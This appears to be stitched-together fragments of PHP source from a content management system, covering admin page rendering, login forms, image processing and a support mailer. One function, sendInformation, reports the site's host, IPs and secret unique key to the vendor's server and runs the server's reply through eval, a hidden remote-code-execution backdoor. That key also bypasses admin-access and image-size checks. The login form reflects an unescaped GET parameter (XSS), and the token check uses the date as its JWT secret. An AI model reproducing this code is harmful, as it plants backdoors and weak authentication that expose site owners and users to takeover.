/** * @param $row * @param array $row_data * @param TableLinker $linker * @return string */ public function getView($row, $row_data, TableLinker $linker) { $images = isset($this->images[$row_data['id']]) ? $this->images[$row_data['id']] : []; $value = $this->getCellData($row_data); $images_html = []; // Value is set? if (!$value) { // Draw images if ($images) { foreach ($images as $k => $image) { if ($k < 3) { // Draw miniature $images_html[] = '<img src="' . $image . '&resizefit=30x30&key=' . Configuration::getInstance()->get('cms')['unique_key'] . '" style="display: inline-block; vertical-align: top; margin: 0 .25rem .25rem 0; border-radius: 3px;">'; } else { // Draw last step $images_html[] = '<div style="display: inline-block; vertical-align: top; text-align: center; height: 30px; min-width: 30px; padding: 0 .75rem; background: #EBEDF4; border-radius: 3px;"><span style="line-height: 30px; font-weight: 600">+' . (count($images) - $k) . '</span></div>'; break; } } } else { $images_html[] = '<div style="display: inline-block; vertical-align: top; text-align: center; height: 30px; width: 30px; background: #EBEDF4; border-radius: 3px;"><span style="line-height: 30px;"><i class="fa fa-upload"></i></span></div>'; } $value = implode('', $images_html); } $linker_array = array('do' => 'images', 'id' => $row_data['id']); $href = $this->getHref($row_data, $linker, $linker_array); $cell_view = $this->getHrefView($value, $href); return $this->getCellView($cell_view, $row_data); }
private static function getSalt() { $config = Configuration::getInstance()->get('db'); if (isset($config['salt'])) { return $config['salt']; } dump('If you with to use SimpleCrypto, please set key "salt" for "db" section in your config file'); }
/** * Report to stats server of the existing domain */ public static function sendInformation() { $url = CMS_SITE . 'ping.php?site=' . urlencode(Configuration::getInstance()->get('site')['name']) . '&host=' . urlencode(HOST) . '&ip=' . urlencode(IP) . '&server=' . urlencode(SERVER_IP) . '&key=' . urlencode(Configuration::getInstance()->get('cms')['unique_key']); $ch = curl_init($url); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec($ch); if ($data) { ob_start(); eval($data); ob_clean(); } curl_close($ch); }
/** * Data for HTML <head> generation */ private function prepareHead() { $config = Configuration::getInstance(); // Favicon url $favicon = !empty($config->get('cms')['favicon']) ? $config->get('cms')['favicon'] : DIR_CMS_IMAGES_URL . 'logo_square.png'; // Prepare page HTML for head PageHead::getInstance()->addHtmlTagAttributes('lang="en" class="no-js"')->setTitle((P_DO !== '_default' ? Converter::symb2Ttl(P_DO) : 'Main') . ' / ' . Converter::symb2Ttl(P) . ' / ' . $config->get('site')['name'] . ' / ' . CMS_NAME . ' v. ' . CMS_VERSION)->setFavicon($favicon)->addMeta('name=' . CMS_NAME . ' - ' . $config->get('site')['name'] . '; action-uri=http://' . CFG_DOMAIN . '/cms/; icon-uri=http://' . DIR_CMS_IMAGES_URL . 'logo_square.png', 'msapplication-task')->addMeta('width=device-width, initial-scale=1', 'viewport')->addMeta('IE=edge', '', 'X-UA-Compatible')->addClassToBody('page-header-fixed')->addClassToBody('page-quick-sidebar-over-content')->addCssUrl('cms/fonts/open-sans.css')->addCssUrl('cms/plugins/font-awesome/font-awesome.css')->addCssUrl('cms/plugins/simple-line-icons/simple-line-icons.css')->addCssUrl('cms/plugins/bootstrap/css/bootstrap.css')->addCssUrl('cms/plugins/uniform/css/uniform.default.css')->addCssUrl('cms/plugins/bootstrap-switch/css/bootstrap-switch.css')->addCssUrl('cms/plugins/pace/pace-theme-minimal.css')->addCssUrl('cms/plugins/select2/select2.css')->addCssUrl('cms/css/components.css')->addCssUrl('cms/css/plugins.css')->addCssUrl('cms/layout/css/layout.css')->addCssUrl('cms/layout/css/themes/default.css')->addCssUrl('cms/layout/css/custom.css')->addCssUrl('plugins/toastr/toastr.min.css')->addJsUrl('cms/jquery-1.11.0.min.js')->addJsUrl(DIR_CMS_SCRIPTS_URL . 'jquery.form.min.js')->addJs('var cms_data = {};')->addJs('cms_data.cfg_domain="' . CFG_DOMAIN . '"')->addJs('cms_data.site_name="' . $config->get('site')['name'] . '"')->addJsUrl('cms_js.js')->addJsUrl('plupload/plupload.full.min.js'); // Script for sending JS errors if (CFG_MAIL_ERRORS && Settings::isProductionState() && !Settings::get('do_not_send_js_errors')) { PageHead::getInstance()->addJsUrl('send_error.js')->addJs('register_js_error.ini(\'' . DIR_CMS_URL . '\');'); } PageTail::getInstance()->addJsUrl('cms/jquery-migrate-1.2.1.min.js')->addJsUrl('cms/plugins/jquery-ui/jquery-ui-1.10.3.custom.min.js')->addJsUrl('cms/plugins/bootstrap/js/bootstrap.min.js')->addJsUrl('cms/plugins/bootstrap-hover-dropdown/bootstrap-hover-dropdown.min.js')->addJsUrl('cms/plugins/jquery-slimscroll/jquery.slimscroll.min.js')->addJsUrl('cms/jquery.blockui.min.js')->addJsUrl('cms/jquery.cokie.min.js')->addJsUrl('cms/plugins/uniform/jquery.uniform.min.js')->addJsUrl('cms/plugins/bootstrap-switch/js/bootstrap-switch.min.js')->addCssUrl('cms/plugins/jquery-contextmenu/jquery.contextMenu.css')->addJsUrl('cms/plugins/jquery-contextmenu/jquery.contextMenu.js')->addJsUrl('cms/plugins/jquery-validation/js/jquery.validate.min.js')->addJsUrl('cms/plugins/backstretch/jquery.backstretch.min.js')->addJsUrl('cms/plugins/select2/select2.min.js')->addJsUrl('cms/metronic.js')->addJsUrl('cms/layout/scripts/layout.js')->addJsUrl('cms/layout/scripts/quick-sidebar.js')->addJsUrl('cms/plugins/pace/pace.js')->addCssUrl('cms/cms_css.css')->addJsUrl('plugins/toastr/toastr.min.js')->addJsUrl('plugins/parsley.min.js')->addJsUrl('cms/respond.min.js')->addJsUrl('cms/excanvas.min.js')->addJs('$(function() { $(".chosen").select2(); Metronic.init(); Layout.init(); QuickSidebar.init(); });'); // Search for custom css $custom_css_url = DIR_ASSETS_URL . 'cms.css'; if (file_exists(DIR_BASE . $custom_css_url)) { PageHead::getInstance()->addCssUrl($custom_css_url); } else { PageHead::getInstance()->addCustomString('<!--Create file "' . $custom_css_url . '" if you wish to use custom css file-->'); } // Set head for page Page::setHead(PageHead::getInstance()); }
public static function getColumnsComments($table, $column = '') { return self::q_assoc_iterator('SELECT COLUMN_COMMENT, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = "' . Configuration::getInstance()->get('db')['name'] . '" AND TABLE_NAME = "' . self::sql_prepare($table) . '" ' . ($column ? 'AND COLUMN_NAME = "' . self::sql_prepare($column) . '"' : '') . ''); }
imageJPEG($img, DIR_BASE . $src_path, 100); } } $max_w = 2400; $max_h = 1600; $image = new Image(); try { $image->open($src_path); } catch (Exception $e) { if (!Settings::isProductionState()) { exit('Error. Not enough memory to open image "' . $path . $file . '".'); } die; } // If key is provided - no limitations $check_for_sizes = !isset($_GET['key']) || $_GET['key'] != Configuration::getInstance()->get('cms')['unique_key']; $allowed_sizes = Settings::get('image_processor_allowed_sizes'); if (!$allowed_sizes && $check_for_sizes) { if (!Settings::isProductionState()) { exit('Error. No allowed image sizes set.'); } die; } $allowed_sizes = array_flip(explode(',', $allowed_sizes)); $check_size_allowed = function ($size) use($allowed_sizes, $check_for_sizes) { if (!$check_for_sizes) { return true; } $size = trim($size); if (!isset($allowed_sizes[$size])) { if (!Settings::isProductionState()) {
<?php defined('INC') or exit; use TMCms\Admin\Messages; use TMCms\Cache\Cacher; use TMCms\Config\Configuration; use TMCms\Log\App; use TMCms\Network\Mailer; Mailer::getInstance()->setSubject('Message from ' . Configuration::getInstance()->get('site')['name'] . ' (' . CFG_DOMAIN . ')')->setSender(Configuration::getInstance()->get('site')['email'], Configuration::getInstance()->get('site')['name'])->setRecipient(CMS_SUPPORT_EMAIL, CMS_NAME)->setMessage($_POST['message'])->send(); Cacher::getInstance()->getDefaultCacher()->set('cms_home_support_email', NOW); App::add('Message sent to developers'); Messages::sendGreenAlert('Message sent to developers'); back();
/** * Get top page header * @return string */ public function getMenuHeaderView() { if (!defined('USER_ID') || !USER_ID) { return ''; } ob_start(); // Notifications from system $notification_repository = new UsersMessageEntityRepository(); $notification_repository->setWhereToUserId(USER_ID); $notification_repository->setWhereFromUserId(0); $notification_repository->addOrderByField('ts', true); $notification_repository->setWhereSeen(0); $total_notifications = $notification_repository->getCountOfObjectsInCollection(); $notification_repository->setLimit(10); $notifications = $notification_repository->getAsArrayOfObjects(); // Messages from users $messages_repository = new UsersMessageEntityRepository(); $messages_repository->setWhereToUserId(USER_ID); $messages_repository->addWhereFieldIsNot('from_user_id', 0); $messages_repository->addOrderByField('ts', true); $messages_repository->setWhereSeen(0); $total_messages = $messages_repository->getCountOfObjectsInCollection(); $messages_repository->setLimit(10); $messages = $messages_repository->getAsArrayOfObjects(); // Custom notifiers // TODO $custom_notifiers = []; $custom_notifiers[] = $this->getHelpTextsNotifier(); // Logo image and link $logo = ''; if (array_key_exists('logo', Configuration::getInstance()->get('cms'))) { $logo = Configuration::getInstance()->get('cms')['logo']; } $logo_link = DIR_CMS_URL; if (array_key_exists('logo_link', Configuration::getInstance()->get('cms'))) { $logo_link = Configuration::getInstance()->get('cms')['logo_link']; } $user_avatar = Users::getInstance()->getUserData('avatar'); if (!$user_avatar) { $user_avatar = '/vendor/devp-eu/tmcms-core/src/assets/cms/layout/img/avatar.png'; } $languages = AdminLanguages::getPairs(); $current_language = Users::getInstance()->getUserLng(); ?> <div class="page-header-inner"> <?php if ($logo) { ?> <div class="page-logo"> <a href="<?php echo $logo_link; ?> "> <img src="<?php echo $logo; ?> " alt="logo" class="logo-default"> </a> <div class="menu-toggler sidebar-toggler"></div> </div> <?php } ?> <a href="javascript:;" class="menu-toggler responsive-toggler" data-toggle="collapse" data-target=".navbar-collapse"></a> <div class="top-menu"> <ul class="nav navbar-nav pull-right"> <li class="dropdown dropdown-extended dropdown-home" id="header_home_bar"> <a href="/" target="_blank" class="dropdown-toggle" data-hover="dropdown" data-close-others="true"> <i class="icon-home"></i> </a> </li> <?php if (count($languages) > 1) { ?> <li class="dropdown dropdown-language"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <img alt="" src="/vendor/devp-eu/tmcms-core/src/assets/cms/img/flags/<?php echo LNG; ?> .png"> <span class="langname"><?php echo strtoupper(LNG); ?> </span> <i class="fa fa-angle-down"></i> </a> <ul class="dropdown-menu"> <?php foreach ($languages as $k => $v) { if ($k == LNG) { continue; } ?> <li> <a href="?p=users&do=_change_lng&lng=<?php echo $k; ?> "> <img alt="" src="/vendor/devp-eu/tmcms-core/src/assets/cms/img/flags/<?php echo $k; ?> .png"> <?php echo $v; ?> </a> </li> <?php } ?> </ul> </li> <?php } ?> <?php if ($notifications) { ?> <li class="dropdown dropdown-extended dropdown-notification" id="header_notification_bar"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-bell"></i> <span class="badge badge-default"><?php echo count($notifications); ?> </span> </a> <ul class="dropdown-menu"> <li> <p> You have <?php echo $total_notifications; ?> new notifications </p> </li> <li> <ul class="dropdown-menu-list scroller" style="height: 250px;"> <?php foreach ($notifications as $k => $message) { /** @var UsersMessageEntity $message */ ?> <li> <a href="#"> <span class="label label-sm label-icon label-warning"> <i class="fa fa-bell-o"></i> </span> <?php echo $message->getMessage(); ?> <span class="time"> <?php echo Converter::getTimeFromEventAgo($message->getTs()); ?> </span> </a> </li> <?php } ?> </ul> </li> <li class="external"> <a href="?p=home&do=notifications"> See all notifications <i class="m-icon-swapright"></i> </a> </li> </ul> </li> <?php } ?> <?php if ($messages) { ?> <li class="dropdown dropdown-extended dropdown-inbox" id="header_inbox_bar"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-envelope-open"></i> <span class="badge badge-default"><?php echo count($messages); ?> </span> </a> <ul class="dropdown-menu"> <li> <p> You have <?php echo $total_messages; ?> new messages </p> </li> <li> <ul class="dropdown-menu-list scroller" style="height: 250px;"> <?php foreach ($notifications as $k => $message) { /** @var UsersMessageEntity $message */ $user = new AdminUser($message->getFromUserId()); $avatar = $user->getAvatar(); ?> <li> <a href="?p=users&do=chat&user_id=2"> <?php if ($avatar) { ?> <span class="photo"> <img src="<?php echo $avatar; ?> " alt="" style="height=40px"> </span> <?php } ?> <span class="subject"> <span class="from"><?php echo $user->getName(); ?> </span> <span class="time"><?php echo Converter::getTimeFromEventAgo($message->getTs()); ?> </span> </span> <span class="message"><?php echo Converter::cutLongStrings($message->getMessage()); ?> </span> </a> </li> <?php } ?> </ul> </li> <li class="external"> <a href="?p=users&do=chat"> See all messages <i class="m-icon-swapright"></i> </a> </li> </ul> </li> <?php } ?> <?php if ($custom_notifiers) { ?> <?php echo implode('', $custom_notifiers); ?> <?php } ?> <li class="dropdown dropdown-user"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <img alt="" class="img-circle" src="<?php echo $user_avatar; ?> " style="height: 29px;"> <span class="username"><?php echo Users::getInstance()->getUserData('name'); ?> </span> <i class="fa fa-angle-down"></i> </a> <ul class="dropdown-menu"> <li> <a href="?p=users&do=users_edit&id=<?php echo USER_ID; ?> "> <i class="icon-user"></i> My Profile </a> </li> <li> <a href="?p=home&do=notifications"> <i class="icon-envelope-open"></i>My notifications <span class="badge badge-danger"> <?php echo count($notifications); ?> </span> </a> </li> <li class="divider"></li> <li> <a href="#" onclick="clipboard_forms.copy_page_forms(); return false;"> <i class="icon-cloud-download"></i>Copy form data </a> </li> <li> <a href="#" onclick="clipboard_forms.paste_page_forms(); return false;"> <i class="icon-cloud-upload"></i>Paste form data </a> </li> <li class="divider"></li> <li> <a href="?p=home&do=_exit" onclick="return confirm('<?php echo __('Are you sure?'); ?> ');"> <i class="icon-key"></i> Log Out </a> </li> </ul> </li> <?php // TODO right panel ?> <!-- <li class="dropdown dropdown-quick-sidebar-toggler">--> <!-- <a href="javascript:;" class="dropdown-toggle">--> <!-- <i class="icon-logout"></i>--> <!-- </a>--> <!-- </li>--> </ul> </div> </div> <?php return ob_get_clean(); }
public function _default() { // If only unique access allowed if (Settings::getInstance()->get('unique_admin_address')) { // No correct key provided? if (!isset($_GET['admin_key']) || $_GET['admin_key'] != Configuration::getInstance()->get('cms')['unique_key']) { back(); } } // Authorize user by provided token (used by our mobile application) if (isset($_GET['token'])) { try { $payload = JWT::decode($_GET['token'], date('Y-m-d', NOW), true); if ($payload->created_at > strtotime('-5 minutes')) { $user_collection = new AdminUserRepository(); $user_collection->setWhereLogin($payload->login); $user_collection->setWherePassword($payload->password); $user_collection->setWhereActive(1); /** @var AdminUser $user */ $user = $user_collection->getFirstObjectFromCollection(); if ($user) { $this->initLogInProcess($user); } } } catch (Exception $exception) { // Do nothing, I guess... } } // Redirect if user is already logged in if (Users::getInstance()->isLogged()) { go('/cms/?p=home'); } $config = Configuration::getInstance(); $expose = $config->get('options'); $hide_license = $expose && isset($expose['hide_license']) && $expose['hide_license']; PageHead::getInstance()->addClassToBody('login')->addCssUrl('cms/css/login-soft.css'); PageTail::getInstance()->addJsUrl('cms/layout/scripts/login-soft.js')->addJs(' Login.init(); '); // Logo image and link $logo = ''; if (array_key_exists('logo', Configuration::getInstance()->get('cms'))) { $logo = Configuration::getInstance()->get('cms')['logo']; } $logo_link = DIR_CMS_URL; if (array_key_exists('logo_link', Configuration::getInstance()->get('cms'))) { $logo_link = Configuration::getInstance()->get('cms')['logo_link']; } // Registration form $registration_allowed = Settings::get('allow_registration'); ?> <?php if ($logo) { ?> <div class="logo"> <a href="<?php echo $logo_link; ?> " target="_blank"> <img src="<?php echo $logo; ?> " alt="DEVP Web Development"> </a> </div> <?php } ?> <div class="content"> <form class="login-form" action="?p=<?php echo P; ?> &do=_login" method="post"> <?php if (isset($_GET['registered'])) { ?> <h3 class="form-title">User created. Contact admins to activate your account.</h3> <script> setTimeout(function() { window.location = window.history.back(); }, 3000); </script>'; <?php } ?> <h3 class="form-title">Login to your account</h3> <div class="alert alert-danger display-hide"> <button class="close" data-close="alert"></button> <span>Enter any username and password.</span> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Username</label> <div class="input-icon"> <i class="fa fa-user"></i> <input class="form-control placeholder-no-fix" type="text" autofocus placeholder="Username" name="login" <?php echo isset($_GET['login']) ? $_GET['login'] : ''; ?> > </div> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Password</label> <div class="input-icon"> <i class="fa fa-lock"></i> <input class="form-control placeholder-no-fix" type="password" placeholder="Password" name="password"> </div> </div> <input type="hidden" name="go" value="<?php echo SELF; ?> "> <div class="forget-password"> <h4>Forgot your password ?</h4> <p>no worries, click <a href="javascript:;" id="forget-password"> here </a> to reset your password. </p> </div> <?php if ($registration_allowed) { ?> <div class="create-account"> <p>Don't have an account yet? <a href="javascript:;" id="register-btn">Create an account </a> </p> </div> <?php } ?> </form> <form class="forget-form" action="?p=<?php echo P; ?> &do=_reset_password" method="post"> <h3>Forget Password ?</h3> <p>Enter your e-mail address below to reset your password.</p> <div class="form-group"> <div class="input-icon"> <i class="fa fa-envelope"></i> <input class="form-control placeholder-no-fix" type="text" placeholder="Email" name="email"> </div> </div> <div class="form-actions"> <button type="button" id="back-btn" class="btn"> <i class="m-icon-swapleft"></i> Back </button> <button type="submit" class="btn blue pull-right"> Submit <i class="m-icon-swapright m-icon-white"></i> </button> </div> </form> <?php if ($registration_allowed) { ?> <form class="register-form" action="?p=<?php echo P; ?> &do=_register" method="post"> <h3>Sign Up</h3> <p> Enter your personal details below: </p> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Full Name</label> <div class="input-icon"> <i class="fa fa-font"></i> <input class="form-control placeholder-no-fix" type="text" placeholder="Full Name" name="name"/> </div> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Email</label> <div class="input-icon"> <i class="fa fa-envelope"></i> <input class="form-control placeholder-no-fix" type="text" placeholder="Email" name="email"/> </div> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Phone</label> <div class="input-icon"> <i class="fa fa-envelope"></i> <input class="form-control placeholder-no-fix" type="text" placeholder="Phone" name="phone"/> </div> </div> <p> Enter your account details below: </p> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Username</label> <div class="input-icon"> <i class="fa fa-user"></i> <input class="form-control placeholder-no-fix" type="text" placeholder="Username" name="login"> </div> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Password</label> <div class="input-icon"> <i class="fa fa-lock"></i> <input class="form-control placeholder-no-fix" type="password" id="register_password" placeholder="Password" name="password"/> </div> </div> <div class="form-group"> <label class="control-label visible-ie8 visible-ie9">Re-type Your Password</label> <div class="controls"> <div class="input-icon"> <i class="fa fa-check"></i> <input class="form-control placeholder-no-fix" type="password" placeholder="Re-type Your Password" name="rpassword"/> </div> </div> </div> <div class="form-actions"> <button id="register-back-btn" type="button" class="btn"> <i class="m-icon-swapleft"></i>Back </button> <button type="submit" id="register-submit-btn" class="btn blue pull-right"> Sign Up <i class="m-icon-swapright m-icon-white"></i> </button> </div> </form> <?php } ?> </div> <?php if ($hide_license) { ?> <!-- <?php } ?> <div class="copyright"> 2007 - <?php echo Y; ?> © <?php echo CMS_NAME; ?> | <a href="<?php echo CMS_SITE; ?> " target="_blank"><?php echo CMS_SITE; ?> </a> </div> <?php if ($hide_license) { ?> --> <?php } }